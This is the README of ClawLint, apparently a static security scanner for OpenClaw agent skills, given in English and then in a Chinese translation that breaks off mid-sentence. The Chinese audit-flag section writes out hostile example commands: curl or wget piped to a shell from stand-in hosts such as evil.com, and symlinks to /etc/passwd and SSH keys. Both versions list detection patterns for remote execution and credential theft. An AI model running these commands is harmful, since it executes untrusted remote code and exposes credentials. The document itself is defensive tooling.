ClawLint
Security linter for OpenClaw skills
Runs a local audit over your installed OpenClaw skills without executing any code. Scans both workspace (~/.openclaw/workspace/skills) and system (~/.openclaw/skills) directories.
With 7.1% of ClawHub skills containing security flaws, ClawLint provides pre-execution defense by identifying malicious patterns before they run.
Summary
ClawLint audits OpenClaw skills for security threats without executing code. It detects malicious patterns like remote execution, credential theft, and backdoors, then assigns risk scores (0-100) and generates SHA256 hashes for integrity monitoring. Outputs JSON for automation and CI/CD pipelines.
What It Does
- - Risk scoring — assigns a numeric risk score (0-100) based on detected patterns
- Audit flags — identifies suspicious behaviors (remote execution, secret access, etc.)
- Inventory mode — optional SHA256 hashing of all files for change detection
- JSON output — machine-readable results (requires Python 3)
- No execution — static analysis only, safe to run on untrusted skills
Quick Start
Scan all skills (summary view)
CODEBLOCK0
Scan one specific skill
{baseDir}/bin/claw-lint.sh --skill <skill-name>
Example: INLINECODE2
Full inventory with SHA256 hashes
CODEBLOCK2
JSON output (requires Python 3)
{baseDir}/bin/claw-lint.sh --format json
Options
| Flag | Description |
|---|
| INLINECODE3 | Scan only the specified skill |
| INLINECODE4 |
Include SHA256 inventory of all files |
|
--format json | Output as JSON (needs python3) |
|
--min-score <N> | Show only skills with risk score ≥ N |
|
--strict | Prioritize high-severity patterns |
|
--max-bytes <N> | Skip files larger than N bytes (default: 2MB) |
Understanding the Output
Risk Score
- - 0-30: Low risk (common patterns, minimal concerns)
- 31-60: Medium risk (network access, file operations)
- 61-100: High risk (remote execution, credential access, system tampering)
Common Flags
- -
pipes_remote_to_shell — downloads and executes remote code - INLINECODE10 — fetches external files
- INLINECODE11 — contains binary files
- INLINECODE12 — SSH/SCP operations
- INLINECODE13 — symbolic links present
Example Output
CODEBLOCK4
Risk Scoring Details
ClawLint assigns risk scores from 0 (safe) to 100 (critical) based on pattern detection:
| Score Range | Classification | Description |
|---|
| 0-20 | Low Risk | Standard file operations, no suspicious patterns |
| 21-50 |
Medium Risk | Network calls or external dependencies detected |
| 51-80 | High Risk | Multiple suspicious patterns or obfuscation detected |
| 81-100 | Critical | Remote execution, secret access, or privilege escalation |
Scoring Factors
- - +25 points: Remote execution patterns (curl \| bash, wget -O-, nc)
- +30 points: Secret/credential access (~/.openclaw/credentials, ~/.ssh/)
- +20 points: Privilege escalation (sudo, setuid, chmod +s)
- +15 points: Code obfuscation (base64 decode, eval, exec in suspicious contexts)
- +10 points: External network calls (curl, wget, http requests)
- +10 points: File system operations outside skill directory
- +5 points: Use of /tmp or world-writable directories
Audit Flags Explained
pipesremoteto_shell
Downloads and executes external code without verification.
Examples:
CODEBLOCK5
Risk: Critical. Remote code execution vector for malware.
downloadsremotecontent
Fetches external files or data from the internet.
Examples:
CODEBLOCK6
Risk: Medium-High. Potential supply chain attack or data exfiltration.
has_executables
Contains compiled binary files (not shell scripts).
Examples:
- - ELF binaries
- Compiled programs
Risk: Medium. Harder to audit, may contain hidden functionality.
usessshor_scp
Performs SSH/SCP operations.
Examples:
CODEBLOCK7
Risk: Medium. Potential for unauthorized remote access or data transfer.
contains_symlinks
Includes symbolic links that may point outside skill directory.
Examples:
CODEBLOCK8
Risk: Low-Medium. May expose sensitive files or create confusion.
Requirements
- - Bash 4.0+
- Standard Unix tools:
find, grep, awk, sha256sum, INLINECODE18 - Python 3 (optional, for JSON output only)
Works on Ubuntu/Debian without sudo. Designed for EC2 and similar environments.
Why Use This?
- - Audit skills before installation
- Detect backdoors or malicious patterns in community skills
- Track changes to installed skills with SHA256 inventory
- Enforce security policies in automated pipelines
Output Formats
Terminal Output (Default)
Human-readable table format with color-coded risk scores (when terminal supports colors).
JSON Output (--format json)
Machine-readable structure for integration with CI/CD pipelines:
CODEBLOCK9
Best Practices
Regular Audits
Run ClawLint after installing or updating skills:
CODEBLOCK10
Baseline Inventory
Create a security baseline for production environments:
CODEBLOCK11
Re-run periodically and diff against baseline to detect tampering.
CI/CD Integration
Add to your deployment pipeline:
CODEBLOCK12
Whitelist Trusted Skills
For known-safe skills with legitimate flags, document exceptions:
CODEBLOCK13
Limitations
- - Static analysis only — cannot detect runtime behavior or dynamically generated code
- Pattern-based — may have false positives for legitimate use cases
- No sandbox — does not execute or test skills
- Local files only — scans installed skills, not ClawHub packages before install
For comprehensive security, combine ClawLint with:
- - Manual code review for critical skills
- VirusTotal scanning for executables
- Runtime monitoring and sandboxing
- Regular security updates
Contributing
Report false positives or suggest new detection patterns at the OpenClaw security repository.
License
MIT License - Free to use, modify, and distribute.
ClawLint
OpenClaw技能的安全检查工具
在不执行任何代码的情况下,对已安装的OpenClaw技能进行本地审计。扫描工作区(~/.openclaw/workspace/skills)和系统(~/.openclaw/skills)目录。
鉴于ClawHub中有7.1%的技能存在安全缺陷,ClawLint通过在恶意模式运行前识别它们,提供执行前防御。
概述
ClawLint在不执行代码的情况下审计OpenClaw技能的安全威胁。它检测远程执行、凭证窃取和后门等恶意模式,然后分配风险评分(0-100)并生成SHA256哈希用于完整性监控。输出JSON格式,适用于自动化和CI/CD流水线。
功能
- - 风险评分 — 根据检测到的模式分配数值风险评分(0-100)
- 审计标记 — 识别可疑行为(远程执行、秘密访问等)
- 清单模式 — 可选地对所有文件进行SHA256哈希处理,用于变更检测
- JSON输出 — 机器可读的结果(需要Python 3)
- 不执行代码 — 仅进行静态分析,可安全运行于不受信任的技能上
快速开始
扫描所有技能(摘要视图)
bash
{baseDir}/bin/claw-lint.sh
扫描特定技能
bash
{baseDir}/bin/claw-lint.sh --skill <技能名称>
示例:{baseDir}/bin/claw-lint.sh --skill hashnode-publisher
包含SHA256哈希的完整清单
bash
{baseDir}/bin/claw-lint.sh --full --skill <技能名称>
JSON输出(需要Python 3)
bash
{baseDir}/bin/claw-lint.sh --format json
选项
| 标志 | 描述 |
|---|
| --skill <名称> | 仅扫描指定的技能 |
| --full |
包含所有文件的SHA256清单 |
| --format json | 输出为JSON格式(需要python3) |
| --min-score
| 仅显示风险评分≥N的技能 |
| --strict | 优先处理高严重性模式 |
| --max-bytes | 跳过大于N字节的文件(默认:2MB) |
理解输出
风险评分
- - 0-30:低风险(常见模式,关注度最低)
- 31-60:中风险(网络访问、文件操作)
- 61-100:高风险(远程执行、凭证访问、系统篡改)
常见标记
- - pipesremotetoshell — 下载并执行远程代码
- downloadsremotecontent — 获取外部文件
- hasexecutables — 包含二进制文件
- usessshorscp — SSH/SCP操作
- containssymlinks — 存在符号链接
输出示例
text
评分 技能名称 文件数 大小 标记
----- ----- ----- ---- -----
57 hashnode-publisher 2 1.1KB downloadsremotecontent,pipesremoteto_shell
45 ec2-health-monitor 2 1.9KB pipesremoteto_shell
风险评分详情
ClawLint根据模式检测分配风险评分,范围从0(安全)到100(严重):
| 评分范围 | 分类 | 描述 |
|---|
| 0-20 | 低风险 | 标准文件操作,无可疑模式 |
| 21-50 |
中风险 | 检测到网络调用或外部依赖 |
| 51-80 | 高风险 | 检测到多个可疑模式或混淆代码 |
| 81-100 | 严重 | 远程执行、秘密访问或权限提升 |
评分因素
- - +25分:远程执行模式(curl \| bash、wget -O-、nc)
- +30分:秘密/凭证访问(~/.openclaw/credentials、~/.ssh/)
- +20分:权限提升(sudo、setuid、chmod +s)
- +15分:代码混淆(base64解码、eval、exec在可疑上下文中)
- +10分:外部网络调用(curl、wget、http请求)
- +10分:技能目录外的文件系统操作
- +5分:使用/tmp或全局可写目录
审计标记说明
pipesremoteto_shell
下载并执行未经验证的外部代码。
示例:
bash
curl https://evil.com/script.sh | bash
wget -O- https://malicious.site/payload | sh
风险: 严重。恶意软件的远程代码执行向量。
downloadsremotecontent
从互联网获取外部文件或数据。
示例:
bash
curl -O https://example.com/file.tar.gz
wget https://cdn.example.com/data.json
风险: 中-高。潜在的供应链攻击或数据泄露。
has_executables
包含编译的二进制文件(非shell脚本)。
示例:
风险: 中。较难审计,可能包含隐藏功能。
usessshor_scp
执行SSH/SCP操作。
示例:
bash
ssh user@remote.host command
scp file.txt user@remote:/path/
风险: 中。可能存在未经授权的远程访问或数据传输。
contains_symlinks
包含可能指向技能目录外的符号链接。
示例:
bash
ln -s /etc/passwd exposed_file
ln -s ~/.ssh/idrsa keylink
风险: 低-中。可能暴露敏感文件或造成混淆。
要求
- - Bash 4.0+
- 标准Unix工具:find、grep、awk、sha256sum、stat
- Python 3(可选,仅用于JSON输出)
适用于Ubuntu/Debian,无需sudo。专为EC2及类似环境设计。
为什么使用此工具?
- - 在安装前审计技能
- 检测社区技能中的后门或恶意模式
- 使用SHA256清单跟踪已安装技能的变更
- 在自动化流水线中强制执行安全策略
输出格式
终端输出(默认)
人类可读的表格格式,带有颜色编码的风险评分(当终端支持颜色时)。
JSON输出(--format json)
适用于CI/CD流水线集成的机器可读结构:
json
{
scan_date: 2026-02-13T14:50:00Z,
skills_scanned: 12,
highriskcount: 2,
results: [
{
skill_name: hashnode-publisher,
risk_score: 57,
file_count: 2,
total_size: 1.1KB,
flags: [downloadsremotecontent, pipesremoteto_shell],
files: [
{
path: bin/publish.sh,
sha256: a1b2c3d4...,
size: 896
}
]
}
]
}
最佳实践
定期审计
在安装或更新技能后运行ClawLint:
bash
{baseDir}/bin/claw-lint.sh --min-score 50
基线清单
为生产环境创建安全基线:
bash
{baseDir}/bin/claw-lint.sh --full --format json > baseline.json
定期重新运行并与基线对比,以检测篡改行为。
CI/CD集成
添加到您的部署流水线:
bash
如果任何技能评分超过60,则构建失败
{baseDir}/bin/claw-lint.sh --format json | python3 -c
import json, sys
data = json.load(sys.stdin)
highrisk = [s for s in data[results] if s[riskscore] > 60]
if high_risk:
print(f❌ {len(high_risk)}个高风险技能被检测到)
sys.exit(1)
白名单可信技能
对于已知安全且具有合法标记的技能,记录例外情况:
bash
示例:hashnode-publisher需要网络访问
{baseDir}/bin/claw-lint.sh --skill hashnode-publisher
预期评分:45-60(downloadsremotecontent是合法的)
局限性
- - 仅静态分析 — 无法检测运行时行为或动态生成的代码
- 基于模式 — 对于合法用例可能存在误报
- 无沙箱 — 不执行或测试技能
- 仅本地文件 — 扫描已安装的技能,而非安装前的ClawHub包
为了全面安全,请将ClawL